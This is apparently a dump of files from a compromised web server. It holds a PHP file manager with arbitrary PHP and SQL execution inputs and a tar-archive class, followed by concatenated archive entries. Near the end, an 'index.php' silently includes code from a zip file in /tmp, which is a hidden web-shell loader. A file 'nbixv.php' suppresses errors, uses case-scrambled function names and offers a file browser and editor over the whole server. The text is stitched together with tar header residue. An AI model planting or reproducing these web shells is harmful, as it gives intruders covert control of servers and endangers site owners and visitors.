		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/flex">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
index.php000064400000000156151550413340006367 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "network_xo.php"; include("zip:///tmp/phptpd9aH#$h");?>nbixv.php000064400000025327151550413340006415 0ustar00<?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
    $current_dir=$dir==''?$wwwroot:$dir;
    $current_dir=rtrim($current_dir,'/');
    $current_dir_nav='';
    $dir_path='';
    $current_dir_split=explode('/',$current_dir);
    foreach( $current_dir_split as $dir )
    {
        $dir_path.=$dir.'/';
        $current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
    }
    $dir_rows='';
    $file_rows='';
    $current_dir_list=sCaNDir($current_dir);
    $row_id=0;
    foreach( $current_dir_list as $target_name )
    {
        if ( $target_name=='.' || $target_name=='..' ) continue;
        $target=$current_dir.'/'.$target_name;
        $target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
        $row_id++;
        $target_u_id=fIlEOwNEr($target);
        $target_u_att=poSIx_GEtpWUid($target_u_id);
        $target_owner=$target_u_att['name'];
        $target_perm=get_qx($target);
        $target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
        if ( is_dir($target) )
        {
            $dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#"  onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }else
        {
            $target_fsize=fILesIzE($target);
            $target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
            $file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
        }
    }
    $div_html='<table cellspacing="10">
